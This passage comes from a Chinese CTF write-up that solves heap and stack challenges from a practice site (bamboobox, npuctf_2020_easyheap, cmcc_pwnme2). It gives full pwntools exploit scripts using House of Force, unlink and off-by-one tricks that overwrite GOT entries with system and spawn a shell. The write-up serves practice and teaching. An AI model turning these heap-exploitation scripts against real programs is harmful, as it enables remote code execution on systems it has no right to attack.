<p>  往高地址，就是(high_addr-0x10-top_addr)-0x10</p>
</blockquote>
<p>程序中的change并没有对输入的长度进行限制</p>
<p>利用House Of Force覆写程序一开始malloc时写入的goodbye_message</p>
<p>远程没有<code>/home/bamboobox/flag</code>这个文件夹，本地可以通：</p>
<p>exp:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">context(log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">context.arch = <span class="string">&#x27;amd64&#x27;</span></span><br><span class="line"></span><br><span class="line">r = process(<span class="string">&quot;./bamboobox&quot;</span>)</span><br><span class="line">elf = ELF(<span class="string">&quot;./bamboobox&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">alloc</span>(<span class="params">length,context</span>):</span></span><br><span class="line">    r.recvuntil(<span class="string">&quot;Your choice:&quot;</span>)</span><br><span class="line">    r.sendline(<span class="string">&quot;2&quot;</span>)</span><br><span class="line">    r.recvuntil(<span class="string">&quot;Please enter the length of item name:&quot;</span>)</span><br><span class="line">    r.sendline(<span class="built_in">str</span>(length))</span><br><span class="line">    r.recvuntil(<span class="string">&quot;Please enter the name of item:&quot;</span>)</span><br><span class="line">    r.send(context)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">edit</span>(<span class="params">idx,length,context</span>):</span></span><br><span class="line">    r.recvuntil(<span class="string">&quot;Your choice:&quot;</span>)</span><br><span class="line">    r.sendline(<span class="string">&quot;3&quot;</span>)</span><br><span class="line">    r.recvuntil(<span class="string">&quot;Please enter the index of item:&quot;</span>)</span><br><span class="line">    r.sendline(<span class="built_in">str</span>(idx))</span><br><span class="line">    r.recvuntil(<span class="string">&quot;Please enter the length of item name:&quot;</span>)</span><br><span class="line">    r.sendline(<span class="built_in">str</span>(length))</span><br><span class="line">    r.recvuntil(<span class="string">&quot;Please enter the new name of the item:&quot;</span>)</span><br><span class="line">    r.send(context)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">free</span>(<span class="params">idx</span>):</span></span><br><span class="line">    r.recvuntil(<span class="string">&quot;Your choice:&quot;</span>)</span><br><span class="line">    r.sendline(<span class="string">&quot;4&quot;</span>)</span><br><span class="line">    r.recvuntil(<span class="string">&quot;Please enter the index of item:&quot;</span>)</span><br><span class="line">    r.sendline(<span class="built_in">str</span>(idx))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">show</span>():</span></span><br><span class="line">    r.sendlineafter(<span class="string">&quot;Your choice:&quot;</span>, <span class="string">&quot;1&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">exit</span>():</span></span><br><span class="line">    r.sendlineafter(<span class="string">&quot;:&quot;</span>, <span class="string">&quot;5&quot;</span>)</span><br><span class="line"></span><br><span class="line">alloc(<span class="number">0x30</span>,<span class="string">&#x27;aaaa&#x27;</span>)</span><br><span class="line">payload=<span class="string">&#x27;a&#x27;</span>*<span class="number">0x30</span>+p64(<span class="number">0</span>)+p64(<span class="number">0xffffffffffffffff</span>)</span><br><span class="line">edit(<span class="number">0</span>,<span class="number">0x40</span>,payload)</span><br><span class="line"></span><br><span class="line">magic=elf.sym[<span class="string">&#x27;magic&#x27;</span>]</span><br><span class="line">log.info(<span class="string">&quot;magic_addr:0x%x&quot;</span>,magic)</span><br><span class="line"></span><br><span class="line"><span class="comment"># malloc_size = -(0x40 + 0x20)-0x10</span></span><br><span class="line">malloc_size = <span class="number">0x1b22000</span> - <span class="number">0x10</span> -<span class="number">0x1b22060</span></span><br><span class="line">gdb.attach(r)</span><br><span class="line">alloc(malloc_size,<span class="string">&#x27;aaaa&#x27;</span>)</span><br><span class="line">alloc(<span class="number">0x10</span>,p64(magic)*<span class="number">2</span>)</span><br><span class="line">exit()</span><br><span class="line">r.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="2-unlink"><a href="#2-unlink" class="headerlink" title="2.unlink"></a>2.unlink</h2><p>直接看exp：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">context(log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">context.arch = <span class="string">&#x27;amd64&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># r = process(&quot;./bamboobox&quot;)</span></span><br><span class="line">r = remote(<span class="string">&quot;node4.buuoj.cn&quot;</span>,<span class="number">25477</span>)</span><br><span class="line">elf = ELF(<span class="string">&quot;./bamboobox&quot;</span>)</span><br><span class="line">libc = ELF(<span class="string">&quot;./libc-x64-2.23.so&quot;</span>)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">alloc</span>(<span class="params">length,context</span>):</span></span><br><span class="line">    r.recvuntil(<span class="string">&quot;Your choice:&quot;</span>)</span><br><span class="line">    r.sendline(<span class="string">&quot;2&quot;</span>)</span><br><span class="line">    r.recvuntil(<span class="string">&quot;Please enter the length of item name:&quot;</span>)</span><br><span class="line">    r.sendline(<span class="built_in">str</span>(length))</span><br><span class="line">    r.recvuntil(<span class="string">&quot;Please enter the name of item:&quot;</span>)</span><br><span class="line">    r.send(context)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">edit</span>(<span class="params">idx,length,context</span>):</span></span><br><span class="line">    r.recvuntil(<span class="string">&quot;Your choice:&quot;</span>)</span><br><span class="line">    r.sendline(<span class="string">&quot;3&quot;</span>)</span><br><span class="line">    r.recvuntil(<span class="string">&quot;Please enter the index of item:&quot;</span>)</span><br><span class="line">    r.sendline(<span class="built_in">str</span>(idx))</span><br><span class="line">    r.recvuntil(<span class="string">&quot;Please enter the length of item name:&quot;</span>)</span><br><span class="line">    r.sendline(<span class="built_in">str</span>(length))</span><br><span class="line">    r.recvuntil(<span class="string">&quot;Please enter the new name of the item:&quot;</span>)</span><br><span class="line">    r.send(context)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">free</span>(<span class="params">idx</span>):</span></span><br><span class="line">    r.recvuntil(<span class="string">&quot;Your choice:&quot;</span>)</span><br><span class="line">    r.sendline(<span class="string">&quot;4&quot;</span>)</span><br><span class="line">    r.recvuntil(<span class="string">&quot;Please enter the index of item:&quot;</span>)</span><br><span class="line">    r.sendline(<span class="built_in">str</span>(idx))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">show</span>():</span></span><br><span class="line">    r.sendlineafter(<span class="string">&quot;Your choice:&quot;</span>, <span class="string">&quot;1&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">exit</span>():</span></span><br><span class="line">    r.sendlineafter(<span class="string">&quot;:&quot;</span>, <span class="string">&quot;5&quot;</span>)</span><br><span class="line"></span><br><span class="line">alloc(<span class="number">0x30</span>,<span class="string">&#x27;bbbb&#x27;</span>)<span class="comment">#0</span></span><br><span class="line">alloc(<span class="number">0x30</span>,<span class="string">&#x27;bbbb&#x27;</span>)<span class="comment">#1</span></span><br><span class="line">alloc(<span class="number">0x80</span>,<span class="string">&#x27;cccc&#x27;</span>)</span><br><span class="line">alloc(<span class="number">0x20</span>,<span class="string">&#x27;/bin/sh\x00&#x27;</span>)</span><br><span class="line"></span><br><span class="line">glo=<span class="number">0x6020c8</span>+<span class="number">0x10</span><span class="comment">#</span></span><br><span class="line">fd=glo-<span class="number">0x18</span></span><br><span class="line">bk=glo-<span class="number">0x10</span></span><br><span class="line"></span><br><span class="line">payload=p64(<span class="number">0</span>)+p64(<span class="number">0x31</span>)+p64(fd)+p64(bk)+<span class="string">&#x27;a&#x27;</span>*<span class="number">0x10</span>+p64(<span class="number">0x30</span>)+p64(<span class="number">0x90</span>)</span><br><span class="line"><span class="comment">#这里p64(0x30)+p64(0x90)，所以后面free的时候会合并</span></span><br><span class="line"><span class="comment">#之后chunk1就是伪造的那个chunk了</span></span><br><span class="line">edit(<span class="number">1</span>,<span class="built_in">len</span>(payload),payload)</span><br><span class="line">free(<span class="number">2</span>)</span><br><span class="line"><span class="comment"># gdb.attach(r)</span></span><br><span class="line">free_got=elf.got[<span class="string">&#x27;free&#x27;</span>]</span><br><span class="line">payload1=p64(<span class="number">0</span>)+p64(<span class="number">0</span>)+p64(<span class="number">0x30</span>)+p64(free_got)</span><br><span class="line">edit(<span class="number">1</span>,<span class="built_in">len</span>(payload1),payload1)</span><br><span class="line">show()</span><br><span class="line">free_addr=u64(r.recvuntil(<span class="string">&quot;\x7f&quot;</span>)[-<span class="number">6</span>: ].ljust(<span class="number">8</span>, <span class="string">&#x27;\x00&#x27;</span>)) </span><br><span class="line">libc_base=free_addr-libc.sym[<span class="string">&#x27;free&#x27;</span>]</span><br><span class="line">system_addr=libc_base+libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">edit(<span class="number">1</span>,<span class="number">0x8</span>,p64(system_addr))</span><br><span class="line"><span class="comment">#将free改为system</span></span><br><span class="line">free(<span class="number">3</span>)</span><br><span class="line">r.interactive()</span><br></pre></td></tr></table></figure>

<h1 id="0x45-npuctf-2020-easyheap"><a href="#0x45-npuctf-2020-easyheap" class="headerlink" title="0x45.npuctf_2020_easyheap"></a>0x45.npuctf_2020_easyheap</h1><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">unsigned</span> __int64 <span class="title">create</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  __int64 *v0; <span class="comment">// rbx</span></span><br><span class="line">  <span class="keyword">int</span> i; <span class="comment">// [rsp+4h] [rbp-2Ch]</span></span><br><span class="line">  __int64 size; <span class="comment">// [rsp+8h] [rbp-28h]</span></span><br><span class="line">  <span class="keyword">char</span> buf[<span class="number">8</span>]; <span class="comment">// [rsp+10h] [rbp-20h] BYREF</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int64 v5; <span class="comment">// [rsp+18h] [rbp-18h]</span></span><br><span class="line"></span><br><span class="line">  v5 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  <span class="keyword">for</span> ( i = <span class="number">0</span>; i &lt;= <span class="number">9</span>; ++i )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">if</span> ( !(&amp;heaparray)[i] )</span><br><span class="line">    &#123;</span><br><span class="line">      (&amp;heaparray)[i] = <span class="built_in">malloc</span>(<span class="number">0x10</span>uLL);</span><br><span class="line">      <span class="keyword">if</span> ( !(&amp;heaparray)[i] )</span><br><span class="line">      &#123;</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;Allocate Error&quot;</span>);</span><br><span class="line">        <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;Size of Heap(0x10 or 0x20 only) : &quot;</span>);</span><br><span class="line">      read(<span class="number">0</span>, buf, <span class="number">8uLL</span>);</span><br><span class="line">      size = atoi(buf);</span><br><span class="line">      <span class="keyword">if</span> ( size != <span class="number">0x18</span> &amp;&amp; size != <span class="number">0x38</span> )</span><br><span class="line">        <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">      v0 = (&amp;heaparray)[i];</span><br><span class="line">      v0[<span class="number">1</span>] = <span class="built_in">malloc</span>(size);</span><br><span class="line">      <span class="keyword">if</span> ( !(&amp;heaparray)[i][<span class="number">1</span>] )</span><br><span class="line">      &#123;</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;Allocate Error&quot;</span>);</span><br><span class="line">        <span class="built_in">exit</span>(<span class="number">2</span>);</span><br><span class="line">      &#125;</span><br><span class="line">      *(&amp;heaparray)[i] = size;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;Content:&quot;</span>);</span><br><span class="line">      read_input((&amp;heaparray)[i][<span class="number">1</span>], size);</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;Done!&quot;</span>);</span><br><span class="line">      <span class="keyword">return</span> __readfsqword(<span class="number">0x28</span>u) ^ v5;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> __readfsqword(<span class="number">0x28</span>u) ^ v5;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>edit有off by one </p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">unsigned</span> __int64 <span class="title">edit</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> v1; <span class="comment">// [rsp+0h] [rbp-10h]</span></span><br><span class="line">  <span class="keyword">char</span> buf[<span class="number">4</span>]; <span class="comment">// [rsp+4h] [rbp-Ch] BYREF</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int64 v3; <span class="comment">// [rsp+8h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v3 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Index :&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, buf, <span class="number">4uLL</span>);</span><br><span class="line">  v1 = atoi(buf);</span><br><span class="line">  <span class="keyword">if</span> ( v1 &lt; <span class="number">0</span> || v1 &gt; <span class="number">9</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Out of bound!&quot;</span>);</span><br><span class="line">    _exit(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> ( (&amp;heaparray)[v1] )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Content: &quot;</span>);</span><br><span class="line">    read_input((&amp;heaparray)[v1][<span class="number">1</span>], *(&amp;heaparray)[v1] + <span class="number">1</span>);</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Done!&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;How Dare you!&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> __readfsqword(<span class="number">0x28</span>u) ^ v3;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>delete没有什么问题：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">unsigned</span> __int64 <span class="title">delete</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> v1; <span class="comment">// [rsp+0h] [rbp-10h]</span></span><br><span class="line">  <span class="keyword">char</span> buf[<span class="number">4</span>]; <span class="comment">// [rsp+4h] [rbp-Ch] BYREF</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int64 v3; <span class="comment">// [rsp+8h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v3 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Index :&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, buf, <span class="number">4uLL</span>);</span><br><span class="line">  v1 = atoi(buf);</span><br><span class="line">  <span class="keyword">if</span> ( v1 &lt; <span class="number">0</span> || v1 &gt; <span class="number">9</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Out of bound!&quot;</span>);</span><br><span class="line">    _exit(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> ( (&amp;heaparray)[v1] )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">free</span>((&amp;heaparray)[v1][<span class="number">1</span>]);</span><br><span class="line">    <span class="built_in">free</span>((&amp;heaparray)[v1]);</span><br><span class="line">    (&amp;heaparray)[v1] = <span class="number">0LL</span>;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Done !&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;How Dare you!&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> __readfsqword(<span class="number">0x28</span>u) ^ v3;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>之前有类似的，chunk overlapping。</p>
<p>因为输入菜单后执行的是atoi所以将atoi改为了system</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(log_level = <span class="string">&quot;debug&quot;</span>)</span><br><span class="line"><span class="comment"># io = process(&quot;./npuctf_2020_easyheap&quot;)</span></span><br><span class="line">io = remote(<span class="string">&quot;node4.buuoj.cn&quot;</span>, <span class="number">28803</span>)</span><br><span class="line">elf = ELF(<span class="string">&quot;./npuctf_2020_easyheap&quot;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc-x64-2.27.so&#x27;</span>)</span><br><span class="line"><span class="comment"># libc = ELF(&#x27;/lib/x86_64-linux-gnu/libc.so.6&#x27;)</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">create</span>(<span class="params">size,payload</span>):</span></span><br><span class="line">	io.sendafter(<span class="string">&#x27;choice :&#x27;</span>,<span class="string">&#x27;1&#x27;</span>)</span><br><span class="line">	io.recvuntil(<span class="string">&#x27;only) : &#x27;</span>)</span><br><span class="line">	io.sendline(<span class="built_in">str</span>(size))</span><br><span class="line">	io.sendlineafter(<span class="string">&#x27;Content:&#x27;</span>,payload)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">edit</span>(<span class="params">index,payload</span>):</span></span><br><span class="line">	io.sendafter(<span class="string">&#x27;choice :&#x27;</span>,<span class="string">&#x27;2&#x27;</span>)</span><br><span class="line">	io.recvuntil(<span class="string">&#x27;Index :&#x27;</span>)</span><br><span class="line">	io.send(<span class="built_in">str</span>(index))</span><br><span class="line">	io.sendafter(<span class="string">&#x27;Content:&#x27;</span>,payload)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">show</span>(<span class="params">index</span>):</span></span><br><span class="line">	io.sendlineafter(<span class="string">&#x27;choice :&#x27;</span>,<span class="string">&#x27;3&#x27;</span>)</span><br><span class="line">	io.recvuntil(<span class="string">&#x27;Index :&#x27;</span>)</span><br><span class="line">	io.sendline(<span class="built_in">str</span>(index))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">delete</span>(<span class="params">index</span>):</span></span><br><span class="line">	io.sendafter(<span class="string">&#x27;choice :&#x27;</span>,<span class="string">&#x27;4&#x27;</span>)</span><br><span class="line">	io.recvuntil(<span class="string">&#x27;Index :&#x27;</span>)</span><br><span class="line">	io.sendline(<span class="built_in">str</span>(index))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">create(<span class="number">0x18</span>,<span class="string">&#x27;aaaaaaa&#x27;</span>)</span><br><span class="line">create(<span class="number">0x18</span>,<span class="string">&#x27;bbbbbbb&#x27;</span>)</span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*<span class="number">0x18</span>+<span class="string">&#x27;\x41&#x27;</span></span><br><span class="line">edit(<span class="number">0</span>,payload)</span><br><span class="line">delete(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*<span class="number">0x18</span>+p64(<span class="number">0x21</span>)+p64(<span class="number">8</span>)+p64(elf.got[<span class="string">&#x27;atoi&#x27;</span>])</span><br><span class="line">create(<span class="number">0x38</span>,payload)</span><br><span class="line">show(<span class="number">1</span>)</span><br><span class="line">io.recvuntil(<span class="string">&#x27;Content : &#x27;</span>)</span><br><span class="line"><span class="comment"># a = u64(io.recvuntil(&quot;\x7f&quot;).ljust(8, &#x27;\x00&#x27;))</span></span><br><span class="line">print_addr =  u64(io.recvuntil(<span class="string">&quot;\x7f&quot;</span>).ljust(<span class="number">8</span>,<span class="string">&#x27;\x00&#x27;</span>))</span><br><span class="line">base = print_addr - libc.sym[<span class="string">&#x27;atoi&#x27;</span>]</span><br><span class="line">system_addr = base+ libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line"></span><br><span class="line">edit(<span class="number">1</span>,p64(system_addr))</span><br><span class="line">io.sendline(<span class="string">&#x27;/bin/sh\x00&#x27;</span>)</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h1 id="0x46-cmcc-pwnme2"><a href="#0x46-cmcc-pwnme2" class="headerlink" title="0x46.cmcc_pwnme2"></a>0x46.cmcc_pwnme2</h1><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">gwt@ubuntu:~/Desktop$ checksec pwnme2</span><br><span class="line">[*] &#x27;/home/gwt/Desktop/pwnme2&#x27;</span><br><span class="line">    Arch:     i386-32-little</span><br><span class="line">    RELRO:    Partial RELRO</span><br><span class="line">    Stack:    No canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      No PIE (0x8048000)</span><br></pre></td></tr></table></figure>

<p>首先是main和userfunction：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> s[<span class="number">132</span>]; <span class="comment">// [esp+0h] [ebp-88h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">string</span> = <span class="number">0</span>;</span><br><span class="line">  fflush(<span class="built_in">stdout</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Welcome&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Please input:&quot;</span>);</span><br><span class="line">  fflush(<span class="built_in">stdout</span>);</span><br><span class="line">  gets(s);</span><br><span class="line">  userfunction(s);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">userfunction</span><span class="params">(<span class="keyword">char</span> *src)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> dest[<span class="number">108</span>]; <span class="comment">// [esp+Ch] [ebp-6Ch] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">strcpy</span>(dest, src);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(<span class="string">&quot;Hello, %s\n&quot;</span>, src);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>其中s为0x84，而desc只有0x6c可以覆盖，并且会将src的地址打印出来</p>
